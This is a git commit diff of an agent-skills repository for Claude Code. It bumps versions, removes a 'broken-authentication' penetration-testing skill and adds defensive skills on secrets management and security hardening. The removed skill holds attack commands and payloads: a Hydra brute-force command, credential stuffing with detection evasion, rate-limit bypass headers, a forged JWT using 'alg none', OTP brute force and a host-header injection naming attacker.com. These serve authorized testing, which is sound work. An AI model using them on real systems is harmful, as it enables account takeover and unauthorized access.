📦 deps(thirdparty): update snapshots
This commit is contained in:
+1
-1
@@ -1,6 +1,6 @@
|
||||
{
|
||||
"name": "agentic-bundle-aas-secure-app-builder",
|
||||
"version": "14.2.0",
|
||||
"version": "14.3.1",
|
||||
"description": "Editorial \"AAS Secure App Builder\" bundle for Claude Code from Agentic Awesome Skills.",
|
||||
"author": {
|
||||
"name": "sickn33 and contributors",
|
||||
|
||||
+1
-1
@@ -1,6 +1,6 @@
|
||||
{
|
||||
"name": "aasb-aas-secure-app-builder",
|
||||
"version": "14.2.0",
|
||||
"version": "14.3.1",
|
||||
"description": "Install the \"AAS Secure App Builder\" workflow plugin from Agentic Awesome Skills.",
|
||||
"author": {
|
||||
"name": "sickn33 and contributors",
|
||||
|
||||
-480
@@ -1,480 +0,0 @@
|
||||
---
|
||||
name: broken-authentication
|
||||
description: "Identify and exploit authentication and session management vulnerabilities in web applications. Broken authentication consistently ranks in the OWASP Top 10 and can lead to account takeover, identity theft, and unauthorized access to sensitive systems."
|
||||
risk: unknown
|
||||
source: community
|
||||
author: zebbern
|
||||
date_added: "2026-02-27"
|
||||
---
|
||||
|
||||
# Broken Authentication Testing
|
||||
|
||||
## Purpose
|
||||
|
||||
Identify and exploit authentication and session management vulnerabilities in web applications. Broken authentication consistently ranks in the OWASP Top 10 and can lead to account takeover, identity theft, and unauthorized access to sensitive systems. This skill covers testing methodologies for password policies, session handling, multi-factor authentication, and credential management.
|
||||
|
||||
## Prerequisites
|
||||
|
||||
### Required Knowledge
|
||||
- HTTP protocol and session mechanisms
|
||||
- Authentication types (SFA, 2FA, MFA)
|
||||
- Cookie and token handling
|
||||
- Common authentication frameworks
|
||||
|
||||
### Required Tools
|
||||
- Burp Suite Professional or Community
|
||||
- Hydra or similar brute-force tools
|
||||
- Custom wordlists for credential testing
|
||||
- Browser developer tools
|
||||
|
||||
### Required Access
|
||||
- Target application URL
|
||||
- Test account credentials
|
||||
- Written authorization for testing
|
||||
|
||||
## Outputs and Deliverables
|
||||
|
||||
1. **Authentication Assessment Report** - Document all identified vulnerabilities
|
||||
2. **Credential Testing Results** - Brute-force and dictionary attack outcomes
|
||||
3. **Session Security Analysis** - Token randomness and timeout evaluation
|
||||
4. **Remediation Recommendations** - Security hardening guidance
|
||||
|
||||
## Core Workflow
|
||||
|
||||
### Phase 1: Authentication Mechanism Analysis
|
||||
|
||||
Understand the application's authentication architecture:
|
||||
|
||||
```
|
||||
# Identify authentication type
|
||||
- Password-based (forms, basic auth, digest)
|
||||
- Token-based (JWT, OAuth, API keys)
|
||||
- Certificate-based (mutual TLS)
|
||||
- Multi-factor (SMS, TOTP, hardware tokens)
|
||||
|
||||
# Map authentication endpoints
|
||||
/login, /signin, /authenticate
|
||||
/register, /signup
|
||||
/forgot-password, /reset-password
|
||||
/logout, /signout
|
||||
/api/auth/*, /oauth/*
|
||||
```
|
||||
|
||||
Capture and analyze authentication requests:
|
||||
|
||||
```http
|
||||
POST /login HTTP/1.1
|
||||
Host: target.com
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
username=test&password=test123
|
||||
```
|
||||
|
||||
### Phase 2: Password Policy Testing
|
||||
|
||||
Evaluate password requirements and enforcement:
|
||||
|
||||
```bash
|
||||
# Test minimum length (a, ab, abcdefgh)
|
||||
# Test complexity (password, password1, Password1!)
|
||||
# Test common weak passwords (123456, password, qwerty, admin)
|
||||
# Test username as password (admin/admin, test/test)
|
||||
```
|
||||
|
||||
Document policy gaps: Minimum length <8, no complexity, common passwords allowed, username as password.
|
||||
|
||||
### Phase 3: Credential Enumeration
|
||||
|
||||
Test for username enumeration vulnerabilities:
|
||||
|
||||
```bash
|
||||
# Compare responses for valid vs invalid usernames
|
||||
# Invalid: "Invalid username" vs Valid: "Invalid password"
|
||||
# Check timing differences, response codes, registration messages
|
||||
```
|
||||
|
||||
# Password reset
|
||||
"Email sent if account exists" (secure)
|
||||
"No account with that email" (leaks info)
|
||||
|
||||
# API responses
|
||||
{"error": "user_not_found"}
|
||||
{"error": "invalid_password"}
|
||||
```
|
||||
|
||||
### Phase 4: Brute Force Testing
|
||||
|
||||
Test account lockout and rate limiting:
|
||||
|
||||
```bash
|
||||
# Using Hydra for form-based auth
|
||||
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
|
||||
target.com http-post-form \
|
||||
"/login:username=^USER^&password=^PASS^:Invalid credentials"
|
||||
|
||||
# Using Burp Intruder
|
||||
1. Capture login request
|
||||
2. Send to Intruder
|
||||
3. Set payload positions on password field
|
||||
4. Load wordlist
|
||||
5. Start attack
|
||||
6. Analyze response lengths/codes
|
||||
```
|
||||
|
||||
Check for protections:
|
||||
|
||||
```bash
|
||||
# Account lockout
|
||||
- After how many attempts?
|
||||
- Duration of lockout?
|
||||
- Lockout notification?
|
||||
|
||||
# Rate limiting
|
||||
- Requests per minute limit?
|
||||
- IP-based or account-based?
|
||||
- Bypass via headers (X-Forwarded-For)?
|
||||
|
||||
# CAPTCHA
|
||||
- After failed attempts?
|
||||
- Easily bypassable?
|
||||
```
|
||||
|
||||
### Phase 5: Credential Stuffing
|
||||
|
||||
Test with known breached credentials:
|
||||
|
||||
```bash
|
||||
# Credential stuffing differs from brute force
|
||||
# Uses known email:password pairs from breaches
|
||||
|
||||
# Using Burp Intruder with Pitchfork attack
|
||||
1. Set username and password as positions
|
||||
2. Load email list as payload 1
|
||||
3. Load password list as payload 2 (matched pairs)
|
||||
4. Analyze for successful logins
|
||||
|
||||
# Detection evasion
|
||||
- Slow request rate
|
||||
- Rotate source IPs
|
||||
- Randomize user agents
|
||||
- Add delays between attempts
|
||||
```
|
||||
|
||||
### Phase 6: Session Management Testing
|
||||
|
||||
Analyze session token security:
|
||||
|
||||
```bash
|
||||
# Capture session cookie
|
||||
Cookie: SESSIONID=abc123def456
|
||||
|
||||
# Test token characteristics
|
||||
1. Entropy - Is it random enough?
|
||||
2. Length - Sufficient length (128+ bits)?
|
||||
3. Predictability - Sequential patterns?
|
||||
4. Secure flags - HttpOnly, Secure, SameSite?
|
||||
```
|
||||
|
||||
Session token analysis:
|
||||
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
import requests
|
||||
import hashlib
|
||||
|
||||
# Collect multiple session tokens
|
||||
tokens = []
|
||||
for i in range(100):
|
||||
response = requests.get("https://target.com/login")
|
||||
token = response.cookies.get("SESSIONID")
|
||||
tokens.append(token)
|
||||
|
||||
# Analyze for patterns
|
||||
# Check for sequential increments
|
||||
# Calculate entropy
|
||||
# Look for timestamp components
|
||||
```
|
||||
|
||||
### Phase 7: Session Fixation Testing
|
||||
|
||||
Test if session is regenerated after authentication:
|
||||
|
||||
```bash
|
||||
# Step 1: Get session before login
|
||||
GET /login HTTP/1.1
|
||||
Response: Set-Cookie: SESSIONID=abc123
|
||||
|
||||
# Step 2: Login with same session
|
||||
POST /login HTTP/1.1
|
||||
Cookie: SESSIONID=abc123
|
||||
username=valid&password=valid
|
||||
|
||||
# Step 3: Check if session changed
|
||||
# VULNERABLE if SESSIONID remains abc123
|
||||
# SECURE if new session assigned after login
|
||||
```
|
||||
|
||||
Attack scenario:
|
||||
|
||||
```bash
|
||||
# Attacker workflow:
|
||||
1. Attacker visits site, gets session: SESSIONID=attacker_session
|
||||
2. Attacker sends link to victim with fixed session:
|
||||
https://target.com/login?SESSIONID=attacker_session
|
||||
3. Victim logs in with attacker's session
|
||||
4. Attacker now has authenticated session
|
||||
```
|
||||
|
||||
### Phase 8: Session Timeout Testing
|
||||
|
||||
Verify session expiration policies:
|
||||
|
||||
```bash
|
||||
# Test idle timeout
|
||||
1. Login and note session cookie
|
||||
2. Wait without activity (15, 30, 60 minutes)
|
||||
3. Attempt to use session
|
||||
4. Check if session is still valid
|
||||
|
||||
# Test absolute timeout
|
||||
1. Login and continuously use session
|
||||
2. Check if forced logout after set period (8 hours, 24 hours)
|
||||
|
||||
# Test logout functionality
|
||||
1. Login and note session
|
||||
2. Click logout
|
||||
3. Attempt to reuse old session cookie
|
||||
4. Session should be invalidated server-side
|
||||
```
|
||||
|
||||
### Phase 9: Multi-Factor Authentication Testing
|
||||
|
||||
Assess MFA implementation security:
|
||||
|
||||
```bash
|
||||
# OTP brute force
|
||||
- 4-digit OTP = 10,000 combinations
|
||||
- 6-digit OTP = 1,000,000 combinations
|
||||
- Test rate limiting on OTP endpoint
|
||||
|
||||
# OTP bypass techniques
|
||||
- Skip MFA step by direct URL access
|
||||
- Modify response to indicate MFA passed
|
||||
- Null/empty OTP submission
|
||||
- Previous valid OTP reuse
|
||||
|
||||
# API Version Downgrade Attack (crAPI example)
|
||||
# If /api/v3/check-otp has rate limiting, try older versions:
|
||||
POST /api/v2/check-otp
|
||||
{"otp": "1234"}
|
||||
# Older API versions may lack security controls
|
||||
|
||||
# Using Burp for OTP testing
|
||||
1. Capture OTP verification request
|
||||
2. Send to Intruder
|
||||
3. Set OTP field as payload position
|
||||
4. Use numbers payload (0000-9999)
|
||||
5. Check for successful bypass
|
||||
```
|
||||
|
||||
Test MFA enrollment:
|
||||
|
||||
```bash
|
||||
# Forced enrollment
|
||||
- Can MFA be skipped during setup?
|
||||
- Can backup codes be accessed without verification?
|
||||
|
||||
# Recovery process
|
||||
- Can MFA be disabled via email alone?
|
||||
- Social engineering potential?
|
||||
```
|
||||
|
||||
### Phase 10: Password Reset Testing
|
||||
|
||||
Analyze password reset security:
|
||||
|
||||
```bash
|
||||
# Token security
|
||||
1. Request password reset
|
||||
2. Capture reset link
|
||||
3. Analyze token:
|
||||
- Length and randomness
|
||||
- Expiration time
|
||||
- Single-use enforcement
|
||||
- Account binding
|
||||
|
||||
# Token manipulation
|
||||
https://target.com/reset?token=abc123&user=victim
|
||||
# Try changing user parameter while using valid token
|
||||
|
||||
# Host header injection
|
||||
POST /forgot-password HTTP/1.1
|
||||
Host: attacker.com
|
||||
email=victim@email.com
|
||||
# Reset email may contain attacker's domain
|
||||
```
|
||||
|
||||
## Quick Reference
|
||||
|
||||
### Common Vulnerability Types
|
||||
|
||||
| Vulnerability | Risk | Test Method |
|
||||
|--------------|------|-------------|
|
||||
| Weak passwords | High | Policy testing, dictionary attack |
|
||||
| No lockout | High | Brute force testing |
|
||||
| Username enumeration | Medium | Differential response analysis |
|
||||
| Session fixation | High | Pre/post-login session comparison |
|
||||
| Weak session tokens | High | Entropy analysis |
|
||||
| No session timeout | Medium | Long-duration session testing |
|
||||
| Insecure password reset | High | Token analysis, workflow bypass |
|
||||
| MFA bypass | Critical | Direct access, response manipulation |
|
||||
|
||||
### Credential Testing Payloads
|
||||
|
||||
```bash
|
||||
# Default credentials
|
||||
admin:admin
|
||||
admin:password
|
||||
admin:123456
|
||||
root:root
|
||||
test:test
|
||||
user:user
|
||||
|
||||
# Common passwords
|
||||
123456
|
||||
password
|
||||
12345678
|
||||
qwerty
|
||||
abc123
|
||||
password1
|
||||
admin123
|
||||
|
||||
# Breached credential databases
|
||||
- Have I Been Pwned dataset
|
||||
- SecLists passwords
|
||||
- Custom targeted lists
|
||||
```
|
||||
|
||||
### Session Cookie Flags
|
||||
|
||||
| Flag | Purpose | Vulnerability if Missing |
|
||||
|------|---------|------------------------|
|
||||
| HttpOnly | Prevent JS access | XSS can steal session |
|
||||
| Secure | HTTPS only | Sent over HTTP |
|
||||
| SameSite | CSRF protection | Cross-site requests allowed |
|
||||
| Path | URL scope | Broader exposure |
|
||||
| Domain | Domain scope | Subdomain access |
|
||||
| Expires | Lifetime | Persistent sessions |
|
||||
|
||||
### Rate Limiting Bypass Headers
|
||||
|
||||
```http
|
||||
X-Forwarded-For: 127.0.0.1
|
||||
X-Real-IP: 127.0.0.1
|
||||
X-Originating-IP: 127.0.0.1
|
||||
X-Client-IP: 127.0.0.1
|
||||
X-Remote-IP: 127.0.0.1
|
||||
True-Client-IP: 127.0.0.1
|
||||
```
|
||||
|
||||
## Constraints and Limitations
|
||||
|
||||
### Legal Requirements
|
||||
- Only test with explicit written authorization
|
||||
- Avoid testing with real breached credentials
|
||||
- Do not access actual user accounts
|
||||
- Document all testing activities
|
||||
|
||||
### Technical Limitations
|
||||
- CAPTCHA may prevent automated testing
|
||||
- Rate limiting affects brute force timing
|
||||
- MFA significantly increases attack difficulty
|
||||
- Some vulnerabilities require victim interaction
|
||||
|
||||
### Scope Considerations
|
||||
- Test accounts may behave differently than production
|
||||
- Some features may be disabled in test environments
|
||||
- Third-party authentication may be out of scope
|
||||
- Production testing requires extra caution
|
||||
|
||||
## Examples
|
||||
|
||||
### Example 1: Account Lockout Bypass
|
||||
|
||||
**Scenario:** Test if account lockout can be bypassed
|
||||
|
||||
```bash
|
||||
# Step 1: Identify lockout threshold
|
||||
# Try 5 wrong passwords for admin account
|
||||
# Result: "Account locked for 30 minutes"
|
||||
|
||||
# Step 2: Test bypass via IP rotation
|
||||
# Use X-Forwarded-For header
|
||||
POST /login HTTP/1.1
|
||||
X-Forwarded-For: 192.168.1.1
|
||||
username=admin&password=attempt1
|
||||
|
||||
# Increment IP for each attempt
|
||||
X-Forwarded-For: 192.168.1.2
|
||||
# Continue until successful or confirmed blocked
|
||||
|
||||
# Step 3: Test bypass via case manipulation
|
||||
username=Admin (vs admin)
|
||||
username=ADMIN
|
||||
# Some systems treat these as different accounts
|
||||
```
|
||||
|
||||
### Example 2: JWT Token Attack
|
||||
|
||||
**Scenario:** Exploit weak JWT implementation
|
||||
|
||||
```bash
|
||||
# Step 1: Capture JWT token
|
||||
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidGVzdCJ9.signature
|
||||
|
||||
# Step 2: Decode and analyze
|
||||
# Header: {"alg":"HS256","typ":"JWT"}
|
||||
# Payload: {"user":"test","role":"user"}
|
||||
|
||||
# Step 3: Try "none" algorithm attack
|
||||
# Change header to: {"alg":"none","typ":"JWT"}
|
||||
# Remove signature
|
||||
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4ifQ.
|
||||
|
||||
# Step 4: Submit modified token
|
||||
Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiYWRtaW4ifQ.
|
||||
```
|
||||
|
||||
### Example 3: Password Reset Token Exploitation
|
||||
|
||||
**Scenario:** Test password reset functionality
|
||||
|
||||
```bash
|
||||
# Step 1: Request reset for test account
|
||||
POST /forgot-password
|
||||
email=test@example.com
|
||||
|
||||
# Step 2: Capture reset link
|
||||
https://target.com/reset?token=a1b2c3d4e5f6
|
||||
|
||||
# Step 3: Test token properties
|
||||
# Reuse: Try using same token twice
|
||||
# Expiration: Wait 24+ hours and retry
|
||||
# Modification: Change characters in token
|
||||
|
||||
# Step 4: Test for user parameter manipulation
|
||||
https://target.com/reset?token=a1b2c3d4e5f6&email=admin@example.com
|
||||
# Check if admin's password can be reset with test user's token
|
||||
```
|
||||
|
||||
## Troubleshooting
|
||||
|
||||
| Issue | Solutions |
|
||||
|-------|-----------|
|
||||
| Brute force too slow | Identify rate limit scope; IP rotation; add delays; use targeted wordlists |
|
||||
| Session analysis inconclusive | Collect 1000+ tokens; use statistical tools; check for timestamps; compare accounts |
|
||||
| MFA cannot be bypassed | Document as secure; test backup/recovery mechanisms; check MFA fatigue; verify enrollment |
|
||||
| Account lockout prevents testing | Request multiple test accounts; test threshold first; use slower timing |
|
||||
|
||||
## When to Use
|
||||
This skill is applicable to execute the workflow or actions described in the overview.
|
||||
+372
@@ -0,0 +1,372 @@
|
||||
---
|
||||
name: secrets-management
|
||||
description: "Secure secrets management practices for CI/CD pipelines using Vault, AWS Secrets Manager, and other tools."
|
||||
risk: unknown
|
||||
source: community
|
||||
date_added: "2026-02-27"
|
||||
---
|
||||
|
||||
# Secrets Management
|
||||
|
||||
Secure secrets management practices for CI/CD pipelines using Vault, AWS Secrets Manager, and other tools.
|
||||
|
||||
## Purpose
|
||||
|
||||
Implement secure secrets management in CI/CD pipelines without hardcoding sensitive information.
|
||||
|
||||
## Use this skill when
|
||||
|
||||
- Store API keys and credentials
|
||||
- Manage database passwords
|
||||
- Handle TLS certificates
|
||||
- Rotate secrets automatically
|
||||
- Implement least-privilege access
|
||||
|
||||
## Do not use this skill when
|
||||
|
||||
- You plan to hardcode secrets in source control
|
||||
- You cannot secure access to the secrets backend
|
||||
- You only need local development values without sharing
|
||||
|
||||
## Instructions
|
||||
|
||||
1. Identify secret types, owners, and rotation requirements.
|
||||
2. Choose a secrets backend and access model.
|
||||
3. Integrate CI/CD or runtime retrieval with least privilege.
|
||||
4. Validate rotation and audit logging.
|
||||
|
||||
## Safety
|
||||
|
||||
- Never commit secrets to source control.
|
||||
- Limit access and log secret usage for auditing.
|
||||
|
||||
## Secrets Management Tools
|
||||
|
||||
### HashiCorp Vault
|
||||
- Centralized secrets management
|
||||
- Dynamic secrets generation
|
||||
- Secret rotation
|
||||
- Audit logging
|
||||
- Fine-grained access control
|
||||
|
||||
### AWS Secrets Manager
|
||||
- AWS-native solution
|
||||
- Automatic rotation
|
||||
- Integration with RDS
|
||||
- CloudFormation support
|
||||
|
||||
### Azure Key Vault
|
||||
- Azure-native solution
|
||||
- HSM-backed keys
|
||||
- Certificate management
|
||||
- RBAC integration
|
||||
|
||||
### Google Secret Manager
|
||||
- GCP-native solution
|
||||
- Versioning
|
||||
- IAM integration
|
||||
|
||||
## HashiCorp Vault Integration
|
||||
|
||||
### Setup Vault
|
||||
|
||||
```bash
|
||||
# Start Vault dev server
|
||||
vault server -dev
|
||||
|
||||
# Set environment
|
||||
export VAULT_ADDR='http://127.0.0.1:8200'
|
||||
export VAULT_TOKEN='root'
|
||||
|
||||
# Enable secrets engine
|
||||
vault secrets enable -path=secret kv-v2
|
||||
|
||||
# Store secret
|
||||
vault kv put secret/database/config username=admin password=secret
|
||||
```
|
||||
|
||||
### GitHub Actions with Vault
|
||||
|
||||
```yaml
|
||||
name: Deploy with Vault Secrets
|
||||
|
||||
on: [push]
|
||||
|
||||
jobs:
|
||||
deploy:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
|
||||
- name: Import Secrets from Vault
|
||||
uses: hashicorp/vault-action@v2
|
||||
with:
|
||||
url: https://vault.example.com:8200
|
||||
token: ${{ secrets.VAULT_TOKEN }}
|
||||
secrets: |
|
||||
secret/data/database username | DB_USERNAME ;
|
||||
secret/data/database password | DB_PASSWORD ;
|
||||
secret/data/api key | API_KEY
|
||||
|
||||
- name: Use secrets
|
||||
run: |
|
||||
echo "Connecting to database as $DB_USERNAME"
|
||||
# Use $DB_PASSWORD, $API_KEY
|
||||
```
|
||||
|
||||
### GitLab CI with Vault
|
||||
|
||||
```yaml
|
||||
deploy:
|
||||
image: vault:latest
|
||||
before_script:
|
||||
- export VAULT_ADDR=https://vault.example.com:8200
|
||||
- export VAULT_TOKEN=$VAULT_TOKEN
|
||||
- apk add curl jq
|
||||
script:
|
||||
- |
|
||||
DB_PASSWORD=$(vault kv get -field=password secret/database/config)
|
||||
API_KEY=$(vault kv get -field=key secret/api/credentials)
|
||||
echo "Deploying with secrets..."
|
||||
# Use $DB_PASSWORD, $API_KEY
|
||||
```
|
||||
|
||||
**Reference:** See `references/vault-setup.md`
|
||||
|
||||
## AWS Secrets Manager
|
||||
|
||||
### Store Secret
|
||||
|
||||
```bash
|
||||
aws secretsmanager create-secret \
|
||||
--name production/database/password \
|
||||
--secret-string "super-secret-password"
|
||||
```
|
||||
|
||||
### Retrieve in GitHub Actions
|
||||
|
||||
```yaml
|
||||
- name: Configure AWS credentials
|
||||
uses: aws-actions/configure-aws-credentials@v4
|
||||
with:
|
||||
aws-access-key-id: ${{ secrets.AWS_ACCESS_KEY_ID }}
|
||||
aws-secret-access-key: ${{ secrets.AWS_SECRET_ACCESS_KEY }}
|
||||
aws-region: us-west-2
|
||||
|
||||
- name: Get secret from AWS
|
||||
run: |
|
||||
SECRET=$(aws secretsmanager get-secret-value \
|
||||
--secret-id production/database/password \
|
||||
--query SecretString \
|
||||
--output text)
|
||||
echo "::add-mask::$SECRET"
|
||||
echo "DB_PASSWORD=$SECRET" >> $GITHUB_ENV
|
||||
|
||||
- name: Use secret
|
||||
run: |
|
||||
# Use $DB_PASSWORD
|
||||
./deploy.sh
|
||||
```
|
||||
|
||||
### Terraform with AWS Secrets Manager
|
||||
|
||||
```hcl
|
||||
data "aws_secretsmanager_secret_version" "db_password" {
|
||||
secret_id = "production/database/password"
|
||||
}
|
||||
|
||||
resource "aws_db_instance" "main" {
|
||||
allocated_storage = 100
|
||||
engine = "postgres"
|
||||
instance_class = "db.t3.large"
|
||||
username = "admin"
|
||||
password = jsondecode(data.aws_secretsmanager_secret_version.db_password.secret_string)["password"]
|
||||
}
|
||||
```
|
||||
|
||||
## GitHub Secrets
|
||||
|
||||
### Organization/Repository Secrets
|
||||
|
||||
```yaml
|
||||
- name: Use GitHub secret
|
||||
run: |
|
||||
echo "API Key: ${{ secrets.API_KEY }}"
|
||||
echo "Database URL: ${{ secrets.DATABASE_URL }}"
|
||||
```
|
||||
|
||||
### Environment Secrets
|
||||
|
||||
```yaml
|
||||
deploy:
|
||||
runs-on: ubuntu-latest
|
||||
environment: production
|
||||
steps:
|
||||
- name: Deploy
|
||||
run: |
|
||||
echo "Deploying with ${{ secrets.PROD_API_KEY }}"
|
||||
```
|
||||
|
||||
**Reference:** See `references/github-secrets.md`
|
||||
|
||||
## GitLab CI/CD Variables
|
||||
|
||||
### Project Variables
|
||||
|
||||
```yaml
|
||||
deploy:
|
||||
script:
|
||||
- echo "Deploying with $API_KEY"
|
||||
- echo "Database: $DATABASE_URL"
|
||||
```
|
||||
|
||||
### Protected and Masked Variables
|
||||
- Protected: Only available in protected branches
|
||||
- Masked: Hidden in job logs
|
||||
- File type: Stored as file
|
||||
|
||||
## Best Practices
|
||||
|
||||
1. **Never commit secrets** to Git
|
||||
2. **Use different secrets** per environment
|
||||
3. **Rotate secrets regularly**
|
||||
4. **Implement least-privilege access**
|
||||
5. **Enable audit logging**
|
||||
6. **Use secret scanning** (GitGuardian, TruffleHog)
|
||||
7. **Mask secrets in logs**
|
||||
8. **Encrypt secrets at rest**
|
||||
9. **Use short-lived tokens** when possible
|
||||
10. **Document secret requirements**
|
||||
|
||||
## Secret Rotation
|
||||
|
||||
### Automated Rotation with AWS
|
||||
|
||||
```python
|
||||
import boto3
|
||||
import json
|
||||
|
||||
def lambda_handler(event, context):
|
||||
client = boto3.client('secretsmanager')
|
||||
|
||||
# Get current secret
|
||||
response = client.get_secret_value(SecretId='my-secret')
|
||||
current_secret = json.loads(response['SecretString'])
|
||||
|
||||
# Generate new password
|
||||
new_password = generate_strong_password()
|
||||
|
||||
# Update database password
|
||||
update_database_password(new_password)
|
||||
|
||||
# Update secret
|
||||
client.put_secret_value(
|
||||
SecretId='my-secret',
|
||||
SecretString=json.dumps({
|
||||
'username': current_secret['username'],
|
||||
'password': new_password
|
||||
})
|
||||
)
|
||||
|
||||
return {'statusCode': 200}
|
||||
```
|
||||
|
||||
### Manual Rotation Process
|
||||
|
||||
1. Generate new secret
|
||||
2. Update secret in secret store
|
||||
3. Update applications to use new secret
|
||||
4. Verify functionality
|
||||
5. Revoke old secret
|
||||
|
||||
## External Secrets Operator
|
||||
|
||||
### Kubernetes Integration
|
||||
|
||||
```yaml
|
||||
apiVersion: external-secrets.io/v1beta1
|
||||
kind: SecretStore
|
||||
metadata:
|
||||
name: vault-backend
|
||||
namespace: production
|
||||
spec:
|
||||
provider:
|
||||
vault:
|
||||
server: "https://vault.example.com:8200"
|
||||
path: "secret"
|
||||
version: "v2"
|
||||
auth:
|
||||
kubernetes:
|
||||
mountPath: "kubernetes"
|
||||
role: "production"
|
||||
|
||||
---
|
||||
apiVersion: external-secrets.io/v1beta1
|
||||
kind: ExternalSecret
|
||||
metadata:
|
||||
name: database-credentials
|
||||
namespace: production
|
||||
spec:
|
||||
refreshInterval: 1h
|
||||
secretStoreRef:
|
||||
name: vault-backend
|
||||
kind: SecretStore
|
||||
target:
|
||||
name: database-credentials
|
||||
creationPolicy: Owner
|
||||
data:
|
||||
- secretKey: username
|
||||
remoteRef:
|
||||
key: database/config
|
||||
property: username
|
||||
- secretKey: password
|
||||
remoteRef:
|
||||
key: database/config
|
||||
property: password
|
||||
```
|
||||
|
||||
## Secret Scanning
|
||||
|
||||
### Pre-commit Hook
|
||||
|
||||
```bash
|
||||
#!/bin/bash
|
||||
# .git/hooks/pre-commit
|
||||
|
||||
# Check for secrets with TruffleHog
|
||||
docker run --rm -v "$(pwd):/repo" \
|
||||
trufflesecurity/trufflehog:latest \
|
||||
filesystem --directory=/repo
|
||||
|
||||
if [ $? -ne 0 ]; then
|
||||
echo "❌ Secret detected! Commit blocked."
|
||||
exit 1
|
||||
fi
|
||||
```
|
||||
|
||||
### CI/CD Secret Scanning
|
||||
|
||||
```yaml
|
||||
secret-scan:
|
||||
stage: security
|
||||
image: trufflesecurity/trufflehog:latest
|
||||
script:
|
||||
- trufflehog filesystem .
|
||||
allow_failure: false
|
||||
```
|
||||
|
||||
## Reference Files
|
||||
|
||||
- `references/vault-setup.md` - HashiCorp Vault configuration
|
||||
- `references/github-secrets.md` - GitHub Secrets best practices
|
||||
|
||||
## Related Skills
|
||||
|
||||
- `github-actions-templates` - For GitHub Actions integration
|
||||
- `gitlab-ci-patterns` - For GitLab CI integration
|
||||
- `deployment-pipeline-design` - For pipeline architecture
|
||||
|
||||
## Limitations
|
||||
- Use this skill only when the task clearly matches the scope described above.
|
||||
- Do not treat the output as a substitute for environment-specific validation, testing, or expert review.
|
||||
- Stop and ask for clarification if required inputs, permissions, safety boundaries, or success criteria are missing.
|
||||
+474
@@ -0,0 +1,474 @@
|
||||
---
|
||||
name: security-and-hardening
|
||||
description: Hardens code against vulnerabilities. Use when handling user input, authentication, data storage, or external integrations. Use when building any feature that accepts untrusted data, manages user sessions, or interacts with third-party services.
|
||||
risk: unknown
|
||||
source: https://github.com/addyosmani/agent-skills/tree/main/skills/security-and-hardening
|
||||
source_repo: addyosmani/agent-skills
|
||||
source_type: community
|
||||
date_added: 2026-07-01
|
||||
license: MIT
|
||||
license_source: https://github.com/addyosmani/agent-skills/blob/main/LICENSE
|
||||
---
|
||||
|
||||
# Security and Hardening
|
||||
|
||||
## Overview
|
||||
|
||||
Security-first development practices for web applications. Treat every external input as hostile, every secret as sacred, and every authorization check as mandatory. Security isn't a phase — it's a constraint on every line of code that touches user data, authentication, or external systems.
|
||||
|
||||
## When to Use
|
||||
|
||||
- Building anything that accepts user input
|
||||
- Implementing authentication or authorization
|
||||
- Storing or transmitting sensitive data
|
||||
- Integrating with external APIs or services
|
||||
- Adding file uploads, webhooks, or callbacks
|
||||
- Handling payment or PII data
|
||||
|
||||
## Process: Threat Model First
|
||||
|
||||
Controls bolted on without a threat model are guesses. Before hardening, spend five minutes thinking like an attacker:
|
||||
|
||||
1. **Map the trust boundaries.** Where does untrusted data cross into your system? HTTP requests, form fields, file uploads, webhooks, third-party APIs, message queues, and **LLM output**. Every boundary is attack surface.
|
||||
2. **Name the assets.** What's worth stealing or breaking? Credentials, PII, payment data, admin actions, money movement.
|
||||
3. **Run STRIDE over each boundary** — a quick lens, not a ceremony:
|
||||
|
||||
| Threat | Ask | Typical mitigation |
|
||||
|---|---|---|
|
||||
| **S**poofing | Can someone impersonate a user/service? | Authentication, signature verification |
|
||||
| **T**ampering | Can data be altered in transit or at rest? | Integrity checks, parameterized queries, HTTPS |
|
||||
| **R**epudiation | Can an action be denied later? | Audit logging of security events |
|
||||
| **I**nformation disclosure | Can data leak? | Encryption, field allowlists, generic errors |
|
||||
| **D**enial of service | Can it be overwhelmed? | Rate limiting, input size caps, timeouts |
|
||||
| **E**levation of privilege | Can a user gain rights they shouldn't? | Authorization checks, least privilege |
|
||||
|
||||
4. **Write abuse cases next to use cases.** For each feature, ask "how would I misuse this?" — then make that your first test.
|
||||
|
||||
If you can't name the trust boundaries for a feature, you're not ready to secure it. This is OWASP **A04: Insecure Design** — most breaches begin in design, not code.
|
||||
|
||||
## The Three-Tier Boundary System
|
||||
|
||||
### Always Do (No Exceptions)
|
||||
|
||||
- **Validate all external input** at the system boundary (API routes, form handlers)
|
||||
- **Parameterize all database queries** — never concatenate user input into SQL
|
||||
- **Encode output** to prevent XSS (use framework auto-escaping, don't bypass it)
|
||||
- **Use HTTPS** for all external communication
|
||||
- **Hash passwords** with bcrypt/scrypt/argon2 (never store plaintext)
|
||||
- **Set security headers** (CSP, HSTS, X-Frame-Options, X-Content-Type-Options)
|
||||
- **Use httpOnly, secure, sameSite cookies** for sessions
|
||||
- **Run `npm audit`** (or equivalent) before every release
|
||||
|
||||
### Ask First (Requires Human Approval)
|
||||
|
||||
- Adding new authentication flows or changing auth logic
|
||||
- Storing new categories of sensitive data (PII, payment info)
|
||||
- Adding new external service integrations
|
||||
- Changing CORS configuration
|
||||
- Adding file upload handlers
|
||||
- Modifying rate limiting or throttling
|
||||
- Granting elevated permissions or roles
|
||||
|
||||
### Never Do
|
||||
|
||||
- **Never commit secrets** to version control (API keys, passwords, tokens)
|
||||
- **Never log sensitive data** (passwords, tokens, full credit card numbers)
|
||||
- **Never trust client-side validation** as a security boundary
|
||||
- **Never disable security headers** for convenience
|
||||
- **Never use `eval()` or `innerHTML`** with user-provided data <!-- security-allowlist: defensive hardening guidance -->
|
||||
- **Never store sessions in client-accessible storage** (localStorage for auth tokens)
|
||||
- **Never expose stack traces** or internal error details to users
|
||||
|
||||
## OWASP Top 10 Prevention Patterns
|
||||
|
||||
These are prevention patterns, not a ranking. For the 2021 ordering, see the quick-reference table in `references/security-checklist.md`.
|
||||
